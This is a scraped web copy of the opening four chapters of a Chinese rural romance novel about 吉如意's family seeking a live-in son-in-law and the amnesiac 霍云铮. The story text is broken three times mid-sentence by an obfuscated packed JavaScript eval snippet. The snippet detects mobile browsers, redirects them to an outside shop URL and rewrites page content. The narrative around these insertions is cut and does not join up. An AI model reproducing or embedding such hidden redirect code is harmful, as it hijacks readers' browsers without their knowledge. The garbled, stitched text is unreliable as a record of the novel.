《夫郎的猎户赘婿》 1. 第一章 大吉村依山而建，依水而居。最早是什么时候有了这个村子，谁也说不清。一代又一代的人，在这里繁衍、生息，发展成现在数百户人家的规模。 彼时入夏不久，天气并不十分炎热，稻田里波光粼粼，倒映着蓝天白云。偶尔有几只鸟飞过，惊动了田里的青蛙。 村中一户人家，因人丁不如旁人家兴旺的缘故，平日里总会显得没那么热闹。但今日，一向安静的小院却热闹了起来。 “大喜！大喜啊！这次这个准错不了，要不是我家哥儿出嫁了，我都想让我家哥儿将他招了来。” 李媒婆嗓门大，一进院子就嚷嚷开了，又开着门窗，纵使在屋里，也能听得清清楚楚。 她的眉毛用烧焦的柳树枝画的又浓又密，脸上面粉似的白，嘴唇用点纯唇涂的通红，穿着一套枣红色的棉布衣裳。因着做媒婆的缘故，她家的日子比平常人家好过不少，谁家都有未出嫁的哥儿，姐儿，谁家都有那没成婚的汉子，是以谁见了她都恭恭敬敬。与普通农户比，李媒婆的腰板挺得也直，下巴抬得也高。 说话间，人已经进了屋。 姜临早已听见了动静，从屋里迎出来，满脸堆着笑：“李媒婆来了，快请坐请坐。” 麻利地将李媒婆让进堂屋，给她倒了一杯水。 李媒婆喝了一口，碗口处留下了浅浅红印，她又用手绢擦擦嘴，随便问了句：“意哥儿没在家？” 意哥儿名叫吉如意，他与吉上进只有这么一个哥儿。当年他生吉如意时伤了身子，后来就再也生不了了。 “刚上山捡菌子去了。” 一阵咳嗽声传来，原本在屋里躺着养病的吉上进费劲地下了炕，走了出来。脚步虚浮，身体也有些打晃。 姜临忙上前去搀扶他。 李媒婆嘴上客套着：“你说说你也不注意些身体，我过去就好了，哪能让你下地来。” 吉上进已经被姜临搀扶坐在了椅子上：“不妨事，我也不能总躺着，也该站起来活动活动。李媒婆，你刚才说的那门好亲事，是什么样的？” 吉上进沉珂已久，说这么几句话都感觉有些累，说话声都带着病音。 一说起这个，李媒婆立马眉开眼笑的：“这个包你们满意，小伙子的个子比你还高些，身板也好，扛三五个大包啥事没有，有一股子力气，干活也勤快。模样也周正，只比意哥儿大了一岁。叫梁满仓，你们听听这名字就好。粮食都堆满了仓了，等和意哥儿成了亲，那你们家的粮食不得多的仓房都装不下？你们的好日子还在后头呢！” 吉上进和姜临对视了一眼，多年的夫夫，自然知道对方想的是什么，姜临问道：“那他条件这样好，为什么要当赘婿呢？” 吉家不是嫁哥儿，而是招婿。赘婿地位极低，在哪里都矮了别人一头。但凡日子过得去的人家，都不会想让儿子上门当赘婿。在人们固有的观念里，有手有脚的好男儿都不会去当赘婿。只有那好吃懒做，或者是跟乞丐差不多穷的汉子才会当赘婿。 吉家虽不及旁人家人丁兴旺，可日子过得并不差。夫夫二人又都是勤劳肯干的主，这么多年下来，也攒下了一笔银子。 原打算，这笔钱拿出来一部分作吉如意的嫁妆，剩下的就给自己养老了。可人算不如天算，前些日子吉上进从山上摔了下来，这身体一下子就完了。原本以为只是普通的摔伤，后来不知又得了什么病，大夫换了一个又一个，愣是越看越严重。 银子流水一样的花，掏空了整个家底，还欠了外债。 即便这样，吉上进的病依旧一日比一日严重。最后，县里那家最有名的医馆里的大夫断言，吉上进只有三个月的时间。 吉上进病了的这段日子，陆陆续续有人上门来，名义上是来探望，实际上是来瞧瞧他什么时候会死。 大晋朝有吃绝户的习俗，当家里唯一的汉子去了，亲族就会侵占其家产。 就算同胞兄弟不会打这样的主意，可也架不住那些八竿子打不着的亲戚打着吉家家产不能落入外姓人手里过来闹。 官府对此事是睁一只眼闭一只眼的态度，甚至有些当官的都被吃了绝户。吉家虽然借了外债，房产和土地都还在，这都是值不少银子的。 吉上进知道自己好不了了，便开始为姜临和吉如意谋划着以后的路。总不能等他两腿一蹬，那些人将姜临父子赶出去，霸占了他们的家产。失去了房产和土地的小哥儿，日子过得有多凄惨，想也是知道的。 吉上进和姜临只有吉如意这么一个宝贝疙瘩，自然是放在心上的。之前没给他相看人家，就是舍不得，想多留他几年，也再好好挑挑人家。这会儿，吉上进却是后悔没早些将儿子的亲事定下来了。 说这些也没什么用，事情已经发生了，吉上进也不是那自怨自艾的性子。他最开始想给吉如意找一门亲事，夫家贫富不要紧，只要人品好就行，必须答应姜临一并过去，给他养老送终。届时，他就将家产全都作为陪嫁。风声一传出去，吉家的门槛子都差点儿被提亲的人踢破。 那些人眼中毫不掩饰的贪婪，让人觉得恶心。 看着两个爹爹为自己的婚事发愁，吉如意道：“爹爹，不如招婿吧。” 吉如意长得一副柔顺样，骨子里却有着一股子韧劲。 招婿？在此之前谁都没想过。 是了，被吉如意的夫家吃绝户与被吉家的亲族吃绝户，又有什么不同？更何况，吉家这边也在盯着呢，他们也不会允许吉如意将所有的家产都带去夫家的。 吉上进与姜临一番商议，决定就照吉如意说的去办。 消息传出去的时候，吉家来的人更多了。不过不是来当赘婿的，是来劝吉上进改变主意的。 “你家又没有太多的银钱，谁家好儿郎肯入赘？” 正常的找婆家都找不到好的，只怕入赘的话，更难挑到合适的。 这里面有多少人是出于真心劝告，有多少人是看笑话的，只怕只有当事人自己知道了。 不管别人怎么说，可这他婿招定了。 实在不济，他就是嫁个年纪大的，丑的……也绝不便宜了这些狼子野心的亲戚！ 这风声一传出去，上门提亲的人少了很多。可也不是没有，只是更加不尽如人意。 什么酗酒的，好打人的，年龄比吉上进都大的。本来就对吉家招婿不看好的人，这下子更有话说了，也有继续来劝吉上进，找个差不多的人家把吉如意嫁了得了。 但吉家铁了心要给吉如意招婿，就不信找不到一个正常的汉子。 “是这么回事，梁满仓老家不是咱们这的，是南边一个叫什么地来着，瞧我这记性。”李媒婆敲了一下头，“他小时候家里遭了灾，跟着家里人一路向北讨生活，后来家里人一个接一个地死在了路上，只剩了他一个。这么多年也不知道吃了多少苦才来到了咱们这儿，就靠打打零工换口饭吃，有时候打不到零工，就饿几天肚子。” 姜临最是心软，听到此处不禁有些动容：“天可怜的，想必吃了不少的苦吧。” “可不是，流落家乡在外面漂泊十几年了，连个家都没有，一睁眼也不知道今个能不能饿肚子。”李媒婆还用手绢轻轻点了点眼角溢出来的泪花，“要我说啊，梁满仓既无父母也没亲族，就他自己，也不用担心他起什么外心。小伙子人品也不错，踏实肯干的，模样也周正。除了穷些，真找不出其他的缺点来。可穷也不是毛病，只要肯干，这日子不愁过不起来，你们说不是？他是刚来咱们这儿不久，其他人还不知道，要是别人知道了，恐怕想要招他为婿的人不少。我是念在咱们之间的情分，才特意跑来一趟和你们说的。” 李媒婆说到最后还不忘讨个人情。 姜临十分意动，和李媒婆说了不少好话，又看向吉上进。 “他现在在哪？”一直默不作声的吉上进问道。 李媒婆说的确实不错，找了这么长时间真是没有再比梁满仓更适合的了。他的身体也拖不了太久，可是媒婆擅长把黑的说成白的，梁满仓究竟怎么样，得看过了才能定。 “在镇上打短工呢，要是行的话，明天我就带他来给你们看看。”李媒婆喜笑颜开的。 “那麻烦你了。”姜临塞给了李媒婆一些从山上摘下来的果子，李媒婆更高兴了，甩着手帕出了院子。 她事还多着呢，这十里八村相看人家的可不止吉家这一户，她还得去给别人搭桥呢。 姜临扶着吉上进回了屋，吉上进上了炕，姜临在他后背上垫了个垫子，让他靠在墙上能舒服些。 “上进，这人听起来倒是不错。”姜临道。 吉上进也挺满意的，终于有了盼头。 晚些时候，吉如意背着一背篓的野菜回来了。 他长得好看，身条又高，人虽瘦却不显单薄。纵使终日被太阳晒，也比寻常农户白了不少。只是那一双手略显粗糙了些，掌心有着一层做活留下的茧子。这会儿出了汗，脸颊微微泛着红，更显得颜色动人。 姜临帮着吉如意将背篓放下：“这么多？” “嗯，运气好遇到了一片还没有人挖的地。”吉如意擦了擦脸上的汗。 姜临边择菜，边将今天发生的事简单和吉如意说了一遍。 最开始提到相看时，吉如意也像寻常的哥儿、姐儿那般是羞涩的。已经相看过这么多个了，再提起这事时，他已经没什么多大的波澜了。 他也急，倒不是为了自己的终身大事和以后急。看着吉上进拖着病体，还要劳心他们以后的日子，吉如意这心里就不是滋味。 如果这事不解决，只怕吉上进到了九泉之下都不会瞑目的。 “大爹爹，小爹爹，不如去求一趟张秀才，让他明天帮咱们看看。”吉如意提议道。 “如意说的好，这样吧，还有霍家的那小子，叫什么来着？”吉上进坐在屋里，透过窗户看了过来，“也把他找来。” “霍云铮。”姜临听到父子二人说的话，知道吉如意在担忧什么，迟疑了一下，“他不是失忆了吗？” 张秀才是他们大吉村这么多年来唯一出现的秀才，今年才刚考上。因他的缘故，大吉村的人在外边办事、做工，都被别的村的人高看一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他家原本有六只母鸡，因吉上进病了，给他补身子吃了两只，还剩下四只。母鸡并非天天下蛋，今天能有三颗蛋已经是很不错的了。 鸡窝是用稻草编的，靠得近了能闻到一股稻香味，吉如意掸了掸粘在身上的稻草沫子。又看向最后一个鸡窝，不知道那里还会不会有蛋。 伸出去的手马上缩回了，鸡窝里趴着的那只芦花鸡喉咙里发出一连串威胁的呜鸣声。 幸好手快，吉如意吐了吐舌头，心满意足地拿着三颗蛋走了。 姜临也适时的回来了，看面色就知道事情办妥了。 果不其然，在饭桌上时，姜临就将张秀才和霍云峥肯帮忙相看的事说了一遍。还特意夸赞了二人一番：“张秀才真是不错，考中了秀才以后还和以前一样，没说看不起咱们这些乡亲。可不像青田村的那个，听说考完了秀才以后鼻孔朝天的，走路都仰着脖子，拿鼻孔看人，也不怕脚下被绊了石头。” 姜临一边说着还一边学，逗得父子俩笑个不停。自打吉上进摔伤又病了以后，家里已经很久没这么笑过了。姜临见他们笑得开心，动作更是夸张起来。 笑过之后，姜临又说道：“霍家那小子我也看到了，个子可高了，长得也好看，我还是头一次见过这么好看的汉子。说话的声音也好听，到底是从府城长大的，和咱们这些泥腿子就是不一样。” 吉上进也随便说了几句，一家人又继续吃饭。 “对了爹，”吉如意道，“咱家有只鸡好像抱窝了，前天我看就在鸡窝里趴着，现在还在呢。是让它醒窝，还是让它抱着？” 姜临将嘴里的饭咽下去道：“挑十颗鸡蛋让它抱着吧，多些鸡也好能多下几个蛋，要是有公鸡的话，咱们自己吃了或者卖掉都行。” 本来春天时商量好了要养几只鹅的。养鹅比鸡费精力，需要每天出去放，或者是割草回来喂。他们家现在既要照顾吉上进，还要照看地和一些零零碎碎的活，自然是没有精力再养鹅的。” 其实十颗蛋并不多，不说不能个保个的都是受精蛋，就算全孵出来了，鸡崽也未必全都全须全尾地长大。 除去病死的，掉进水泡淹死的，夜里被耗子拖走的，到最后也生不了几只。要是再有几只公鸡，那么到了来年能下蛋的母鸡少之又少。 家里眼下的情况也不适合多养，喂鸡的粮食还要拿去卖钱给吉上进买药。 吃过饭后，姜临扶着吉上进回房歇息。吉如意则在房檐下的阴凉处择野菜，刚才做饭只摘了一部分出来，还剩下很多呢。野菜好吃，只是不好择，需要费一番功夫。不趁早择出来，等下蔫吧了，就更不好择了。 没过多一会儿，姜临轻手蹑脚地从屋里走出来，拿了一把矮凳，坐在吉如意身旁，拿起一把没择的野菜。 吉如意轻声说道：“大爹爹睡了？” 姜临道：“睡了，我看他今天的精神还挺好。” 父子俩有一搭没一搭的说着话，偶尔有鸡过来讨食，吉如意挥一挥手，又吓得拍着翅膀跑了，但过一会儿又会再回来。 2. 第二章 相看的时间定在了巳时，农家起得本就早，今日有事，姜临起得更是早。吉上进的精神瞧着比昨日还要强些，姜临打了水，伺候着他净了面。 吉如意煮了一锅杂粮粥，又烙了几个杂面饼子，从咸菜坛子里夹出来两块蒜茄瓜，一顿简单的早饭就算是做好了。 吉如意喊了一声饭好了，姜临嘴上答应着。 姜临在给吉上进穿衣服，特意找出去年做的那件，吉上进舍不得穿，上身没几回，新得很呢。今个来人相看，得好好收拾一番，别叫人瞧了笑话。 吉如意进来看了一眼，估摸着他们俩还得一会儿，就将院子扫了。 这会儿，姜临和吉上进已经收拾完毕。姜临道：“如意，进来吃饭了。” 吉如意将扫帚放在角落里：“我把鸡喂了再吃，它们开始闹挺了。” 他舀了一把米糠，用水和了和，放在食槽里。又舀了一水舀的水，放在另一个食槽里。接着，打开鸡架门。鸡们早已闹腾起来，见门开了，全都迫不及待地往外跑。有两只跑的太急，挤到了门口出不来，吉如意上前想要帮忙，那两只鸡吓得挣扎着拍着翅膀跑了出来，掀起的土扬了吉如意满脸。 吉如意抹了一把脸上的灰，轻骂了一声。又重新洗了脸，回到屋里后，姜临已经给每人都盛好了粥。 姜临道：“对了，昨天路过大哥家，大哥说他今天会来。” 之前相看，吉上进都会叫自己的几个兄弟过来看看，但相看的次数多了，也不好每一次都叫。 吉上进兄弟姐妹共六人，他排行老五。老大、老二、老六和他都是汉子，老三是姐儿，老四是哥儿。 除此之外，还有一些旁支的兄弟姐妹。吉家在大吉村属大户，人丁繁茂。 吉上进喝了一口粥，没说什么。想了一下道：“到时意哥儿还像之前那样到里屋。” 相看时，有些人家全凭父母做主，不会让子女去看，只要双方父母满意，这桩亲事算是定下来，真正的盲婚哑嫁。 也有些人家疼爱孩子，会让自家哥儿、姐儿、躲到旁处偷偷看上一眼。若是自家孩子同意，那么，亲事就是成了。 吉上进虽着急吉如意的亲事，可也不希望吉如意找一个自己相不中的人。 吉如意答应着，吃完饭后，又与姜临一起将屋子里里外外打扫了一遍后，进了里屋。 此时距离巳时尚早，不过大多数人相看都会提前来的，以表示对这场亲事的注重。 吉如意坐在里屋，一边打着络子一边等着人来。昨天还没什么感觉，这会儿时间离着近，倒是有些静不下心来。 过了约莫一刻钟，就听院子里有人朗声道：“请问，这是吉五叔家吗？” 声音清朗如清风入怀，吉如意只觉得原本焦躁不安的心被轻轻撞了下，还从来没听过这么好听的声音。比泉水击石声还要悠扬动听，比山中鸟儿的歌唱声还要诱人。他没念过书，不知道该怎么形容。 人来了？吉如意将络子放下，下意识地站起来看向外面。但什么都没看到，他在最里面的那间屋，那人还未走到门口处，自然是瞧不见的。 吉如意只听到姜临高兴道：“是这里是这里，快进来。” 紧接着便将人迎了进来，吉如意心如擂鼓，咚咚跳个不停，要不然嗓子眼太细，几乎都要跳出来了。 吉如意听到了小爹爹将人让进屋的声音，他紧紧地攥住帘子，刚要掀开一条缝，只听姜临又道：“上进，这就是霍家的小子。” 不是梁满仓，吉如意有着一丝连自己都没察觉到的失落。 霍云铮和吉上进打着招呼，吉上进不住地夸赞他，无非就是什么长得好，在这里住的怎么样之类的话。 小爹爹昨天就说霍云铮长得好，他倒要看看长得到底有多好。这样想着，吉如意已经将帘子掀起条缝，飞快看了一眼。 霍云铮面如白玉，朗目疏眉，身姿挺拔如松，当真是丰神俊秀，俊美非凡，硬生生将那身蓝布衣穿出了比大户人家穿的丝绸还要好看。 他个子可真高啊，吉如意看看棚顶，头一次觉得自己的房梁有些矮。 等等，似乎有些眼熟？ 吉如意放下帘子，微微蹙眉，仔细想了一番。是了，他见过霍云铮。 吉上进的病一直不见好，县城里的大夫都不给看了。吉如意和姜临不肯放弃，便商量着到府城去找大夫。 很多大吉村的人连县城都甚少去过，更遑论府城了。姜临想自己去，吉如意没同意，去府城的路太远，姜临最近为了吉上进的事劳心劳力的，他怕他遭不住路途的奔波，如果再病倒了可怎么办。 最后，决定由吉如意去请大夫。吉如意是个哥儿，山高路远的姜临也不放心，就去求吉自强带着吉如意跑一趟。 吉自强是吉如意大伯吉勤奋的大儿子，听闻此事后，当即决定自己去。吉如意认为这本事自己家的事，怎么能让别人代自己去，说什么都要去。 双方正僵持不下时，同村的余家要去府城接霍云铮。 说起来，这里面还有一段故事。 霍云铮的曾爷爷是个很有头脑的人，早年间在镇上做生意积攒下了一份家业。他去世后，两个儿子平分了家里的银钱，共同经营着父亲留在镇子里的铺子。 日子过得很不错，是当时大吉村人人羡慕的对象。 谁知好景不长，霍大竟染上了赌博的恶习。刚开始家里人还不知道，直到债主讨上门来，才知道霍大捅了多大的篓子。 霍大痛哭流涕，说再也不赌了，赌鬼的话与酒鬼的话一样不可信。 当霍家人将赌债还完后，霍大非但没痛改前非，反而变本加厉。 霍二，也就是霍云铮的爷爷，不知给哥哥擦了多少次屁股，在一次又一次保证和争吵中，霍二心灰意冷，与霍大大吵了一架后，将镇里的铺子全都给了霍大，只拿着一些钱财，带着一家老小去了县里，从此断了与霍大一家的往来。 比起父亲来，霍二的经商头脑更胜一筹，他不满足于小小的县城，当财富累积到一定规模后，又带着一家人去了府城。 霍二的这份家业积攒的不容易，吃了很多常人想象不到的苦。 安定下来以后，霍二不禁记挂远在大吉村的哥哥。毕竟是一母同胞的亲兄弟，血缘关系不是那么轻易割舍的。他派人回去打听过，听说霍大将镇上的铺子都输没了，气得他差点儿没晕过去，再不提霍大。 霍二的夫人是位贤良淑德的女子，她叫人偷着往大吉村送了几次钱财。不过没有叫霍大知道他们现在在哪。 霍二对夫人的做法睁一只眼闭一只眼，直到霍大死后，霍二带着儿子回去奔丧，与大吉村才逐渐联系了起来。 不过大吉村距离府城甚远，霍二又忙着做生意，几年都不回去一次，只每年派人送些东西回去。 霍大育有一子一女，女儿霍秀兰长大后嫁给了本村的余家。霍二只生有一个儿子，便是霍云铮的父亲。 后来霍二逝世，霍云铮的父亲依旧像霍二在世时那般每年派人送东西回去。 再后来，霍云铮家里的生意接连出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吉自强大了吉如意十多岁，自己的孩子比吉如意小不了多少。这个弟弟在他眼里，和自己的儿子差不了多少。 吉如意打着哈哈将事情圆过去了，索性吉自强并没有多问，嘱咐了几句就走了。 吉如意刚要关上房门，吉自强转身又回来了：“对了，余叔他们不去府城了。” “不去了？” “刚才他们遇到霍云铮了。” 原来是这样，吉如意没有多问，点点头表示知道了。于是，第二日吉如意和吉自强早早地启程了，至于余家什么时候走的他也不知道。 可吉如意并没有去成府城，今年的雨太大了，阻断了去路，吉如意纵使有万般不甘心也只能回来。 吉如意回来到现在也有段时间了，还没见过霍云铮，两家离的远，何况他俩一个是哥儿一个是汉子，他上门去瞧算怎么回事。只听说霍云铮失忆了，在余家养病。 原来当日他救的那人就是霍云铮，当时的霍云峥惨白着一张脸，头发披散着满脸，和现在这副神采奕奕的样子相差甚远。 想来他是在河里撞到了脑袋，这才失了忆。 没过多久，张秀才也来了。吉如意是认识张秀才的，之前见过几次，而且他前阵子考中秀才时家里还请了整个大吉村的人去吃席，吉如意也去了。 紧接着，吉勤奋和吉自强也来了。 外面的人说着话，吉如意没有兴趣再听，又坐在炕沿上打着络子。 又过了会儿，外面传来了李媒婆高亮的笑声。吉如意登时又站了起来，人来了！ 3. 第三章 吉如意竖起耳朵听，无非是相互介绍，相互寒暄之类的话语，和之前那些次都差不多，没有什么特别的。 梁满仓的口音和他们不一样，吉如意没去过南边，也没见过南边来的人，想来他们那的口音就是如此。 他没有急着掀帘子，耐住性子等了会儿才掀开一角悄悄向外面望去。 入目眼帘是个长身玉立的背影，霍云铮将梁满仓挡得严严实实的，吉如意看不到人。 他将帘子放下，又等了会儿，又掀开帘向外瞧去。这次终于看到了人，个头不高，只怕比他还矮了半头，果然媒婆说的话得挑着听。 穿着一身麻布衣服，头发梳的连碎发都没有，一看就是精心打扮过了。模样倒是不丑，但也称不上英俊，就是个扔在人堆里就瞧不见的普通人。 心中有几分惊喜，几分失落。他生得一副好相貌，手脚勤快利索。干农活不输给汉子，操持家务更是手拿把掐，屋里屋外都是一把好手。所以心气也高，若是吉上进好的时候，这样的人自己断然是瞧不上的。今时不同往日，这已经是来入赘的人里模样最好的了。 单看相貌，就算不来入赘，娶妻应该也是不愁的。 吉如意看过后，将帘子放了下来，如果品行方面没什么问题，就他了。 这次相看的时间很长，吉上进和吉勤奋问了很多，看样子是很满意。 相看结束后，霍云铮、张秀才和吉家父子婉拒了姜临邀请他们留下用饭的好意，各自回去了。 等人一走，姜临进了里屋。 “人瞧见了？”姜临问，感觉怎么样？” “挺好的。”吉如意羞赧地低下头。 “我和你爹也觉得不错。”姜临的脸上浮现出一丝淡淡的笑意，相看了这么多个，可算是有一个行的了。只要儿子说行，那这门亲事准能成，“我们俩就怕他不是从南边来的，特意让张秀才和霍家那小子考了考他，他们俩也说梁满仓不错。就是不太爱说话，这都不要紧，有些人光嘴上工夫好，让他下地干活就喊累。过日子又不是过嘴呢，得要那种踏实肯干的。” 吉如意头垂的低低的，轻轻嗯了一声。 “他还拿了一吊肉，一包糖来，还有两盒点心。” 有那讲究的，送礼都会拿四样，这叫四合礼。并没有什么指定的东西，凑够了四样就好。既表示着当事人大方，也表示着对对方的重视。肉和糖都不便宜，称得上是重礼了。 有些人家相看是不会拿四合礼的，还不知成不成呢，谁肯多花银子。 姜临眉梢上都带着笑意，又夸了一通，显然对梁满仓很满意。 “那就他了？” 吉如意轻轻嗯了声，满脸通红。 姜临十分高兴，这是自打吉上进摔伤以后他头一次这么高兴。 他又转身出去和吉上进说这事，三人都没意见，姜临又去找李媒婆说，梁满仓对吉家也很满意，这门亲事就定下来了。 七月十六是个好日子，亲事定在了那天。 吉如意一打开院门，突然从旁边窜出来一个人。 “吓死我了，”吉如意拍拍胸，看着眼前这个和自己年纪差不多大的小哥儿道，“你怎么来的这么早？” 吉如意刚起，早饭还没做。 “着急啊，我听说你定亲了？”小哥儿名叫周乔，与吉如意十分要好，性子活泼。 “嗯，定了，就在七月十六。”吉如意伸着脖子朝四处看了看，他们两个小哥儿站在门口说这事，要是被别人听见了是要让人笑话的。 “还有半个多月？”乔哥儿算了下日子，有心想说时间有些赶，一想到吉家什么情况，将话咽了回去。 “人怎么样？”乔哥儿十分好奇。 “挺好的。”吉如意脸上发臊。 “长得怎么样？你们俩见一面了吗？”乔哥儿的眼里装满了好奇，对这事很感兴趣。 “就是一般人，不丑也不好看。后来让我们远远地见了一面，没说话。” 吉如意不经意地用手背贴贴脸：“进屋说吧。” “不去了，我就来问问，一会儿我娘该找我吃饭了。”乔哥儿真心说道，“真为你高兴啊，你偷偷乐过好几回了吧。” 吉如意笑道：“那你也抓紧成亲，快些找个如意郎君。” “哎呀，说你呢，怎么还扯到我身上来了。”乔哥儿马上用手捂着脸，现在轮到他臊了。 吉如意笑意更大了：“你这么早就来问，还问了这么多，我以为是你着急了。等会儿我让小爹爹和婶子说一声，早点儿给你相看人家。” “你，你，”乔哥儿你了半天没你出什么来，最后脚一跺，“不和你说了，我先回去了，有空来找你。” 乔哥儿跑得飞快，吉如意轻笑着，开始了一天的活计。 *** “满仓在镇上打短工，有时候连大通铺都舍不得住，到了晚上就找树根底下睡。” 吃过晚饭后，天还早着，父子三人在屋内闲聊，说着说着，姜临就将话题扯到了梁满仓身上，言语间还有些心疼。 双方已经定了亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14396389|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，在姜临看来梁满仓就是自己儿子。 这事吉如意不好插话，便没有出声。 吉上进道：“不如和大哥商量一下，让满仓这段时间在他家住一段时间。给大哥拿二十斤大米，二十米高粱，平时再送些菜。” “大哥家没地方了吧。”姜临迟疑着，他也想让梁满仓有个暂时的遮身之所。现在睡在外面虽然不冷，若是下雨了怎么办？遇到坏人了怎么办？太不安全了。 吉勤奋有二子一女，全都成了家。两个儿子也没分家，都在一处住，孙子孙女好几个，家里人口多，本来都挤挤插插的住着，哪里还有地方让梁满仓住？ 其实最好的办法是让梁满仓去二哥吉有志家住，与其他几个兄弟相比，吉有志家里的条件更好，房子大，屋子多。也正因此眼高于顶，不怎么好相处。所以夫夫二人便没有考虑他。 除了二哥吉有志，还有六弟吉庆丰。不过不是很方便。 吉上进沉默了一下：“还是去大哥家吧，把大哥家的柴房收拾出来，让满仓先在那里对付一段时间。” “这不好吧。” 哪有让人住柴房的道理？ “让自强去和满仓说，他不会嫌弃的。” 姜临一想也是，柴房也比睡在露天强，而且还有人给做饭，每天吃点儿热乎的饭菜，不比他现在强？ 说定以后，姜临打算明个一早拜托吉自强到镇里去找梁满仓。 又说了一会儿话，吉自强有些困倦，吉如意从爹爹们的房里出来，打了一盆水，静静地坐在房檐下洗脚。 夜晚的大吉村静悄悄的，远处偶尔传来几声犬吠，很快又归于平静。鸡圈里的鸡们不知道发生了什么，叽叽咕咕的叫了几声，又没了声音。 吉如意抬头望望天，月亮弯弯如柳树枝。 这样的月虽不及满月时又大又圆，倒也别有一番风味。 吉如意渐渐想起了最近发生的事，想起了自己的终身大事。哪个少年不怀春？在逐渐知事以后，再听到村里有人相看，或是娶亲、出嫁的消息以后，他也曾多次幻想过自己未来的夫婿会是什么样？然后偷偷红了脸。 他不讨厌梁满仓，若说喜欢也谈不上。感情都是后来慢慢培养的，就像村里大多数人那样。 两个爹爹的感情让他羡慕，从小到大，就没见他们红过脸。等他与梁满仓成了亲，也要像两个爹爹那样恩恩爱爱的。 不过，梁满仓要是长得像霍云铮那般就好了。 想到这里，吉如意将滚烫的脸深深埋在了双膝里。 4. 第四章 霍云铮最近有些迷茫，他来到大吉村已有段时日，自打醒来以后一直迷茫到现在。 他是从渡川县的河边被余禾父子背回来的，他们说他叫霍云铮，是他的侄子。余禾和霍秀兰并不知道霍云铮长什么模样，之所以断定他就是霍云铮，凭的是缠绕在腰间的那个长命锁。 那是霍秀兰送给霍云铮的满月礼，一把银制的长命锁。银子对于普通的农户家庭算得上是贵重物品，谁要是戴个银锁、银手镯、银簪子什么的，都是会受到其他人羡慕的。 霍秀兰感念霍云铮家这么多年给自己的恩惠，花了大价钱给霍云铮打了一个长命锁，在他满月的时候，与弟弟霍永强去府城参加霍云铮的满月礼。 那是她这辈子唯一一次去府城，当时的场景直到现在还历历在目。府城之繁华，霍府之富贵，是久居乡下的她怎么都想象不出来的。 霍云铮在很小的时候曾与父亲来过一次大吉村，后来再也没回来过。 所以，余禾在看到那块长命锁时，就断定他就是霍云铮。 霍云铮自醒来时失了忆，余禾找来大夫过来瞧，说可能是头部在河里受到撞击，这才失忆了，至于什么时候会想起来，那就不好说。可能明天，可能永远都想不起来。身体倒是没有什么大碍，壮得如牛。于是，霍云铮在客栈休养了一天后，跟着余禾父子回了大吉村。 总觉得哪里怪怪的，好像有什么事在等着他办。 霍秀兰听到霍云铮这样说后，叹了一口气，还能有什么事？霍家败了，霍云铮定是不甘心，想重头再来。 霍云铮说不出反驳的话，还是觉得不太对劲。 在他来到大吉村的第二天，霍永强也来看过，只瞧了一眼就走了。后来，又陆陆续续来了一些看热闹的村民。 霍云铮被霍秀兰在家里硬是按着躺了三天，终于躺不住。 霍秀兰一家对他很好，每天嘘寒问暖的，弄得他怪不好意思的。 想帮着干些力所能及的活，余家人说什么都不让干，让他好好养身体。 他一个身强体健的大好男人，怎么好意思让别人养着？ 余家的几个孩子一天大似一天，霍秀兰还要给他们攒聘礼、攒嫁妆。霍秀兰生有四个孩子，老大是哥儿，早已嫁人了，老二和老三都是汉子，一个十六、一个十四，还有一个八岁的女儿。 吃过早饭后，霍云铮想去山上转转。 霍秀兰拒绝的话刚要说出口，余禾冲她摇摇头。霍秀兰道：“让小山和小川跟你一块去，别往远了去，就在外边转转。” 霍云铮答应着，两兄弟很高兴。小小的余英见哥哥都去，也想去。 霍云铮哄她道：“山上有危险，等哥哥们看完了没危险，下次带你去，给你们带野果子吃。” 余英不太情愿地答应着：“那好吧。” 早在之前两兄弟就跟他说过山上有多好玩儿，霍云铮早就想去看看了，奈何霍秀兰怕他落下病根，一直让他在家中养身体不放他出门。 霍云铮想去山上倒不是为了散心，他想弄些野物。在余家的这段日子，霍云铮不缺肉吃，他也看出来了余家并不能负担得起一大家子人顿顿吃肉，每次的肉都让给他吃，其他人很少吃，或者根本就不吃。 这让霍云铮心里很不是滋味，眼下他不知道该怎样帮上余家的忙，就想去山上碰碰运气，看看能不能弄到野物。如果碰不到，采一些菌子野菜也好。 霍云铮将两兄弟唤来，头对头嘀嘀咕咕：“东西都准备好了？” 小山做贼心虚看看外面：“准备好了。” 霍云铮大手一挥：“出发！” 整的两兄弟热血沸腾的。 霍兰英看着几人远去的背影，满脸疑惑地对余禾道：“他们仨怎么鬼鬼祟祟的。” “爱干什么干什么呗，”余禾倒是没放在心上，“都那么大的孩子了，知道什么事该做什么事不该做。” 山路崎岖曲折并不好走，草木丰沛，有的草都到了霍云铮的腰间。 靠山吃山，大吉村很多人都会到山上挖野菜，一路上倒是遇到了几伙人。 “快看，那有只野鸡！”小山眼尖，说话间已经拿出了早已准备好的弹弓。 方才霍云铮就是叫他将这个带上，霍秀英不让两兄弟到山上打野物，怕遇到危险，所以连弹弓都不让拿。 小山一弹弓打出去，只堪堪剐蹭到个边儿，惊的野鸡飞走了。 小川急得一拍大腿，到嘴的肉没了：“快追！” 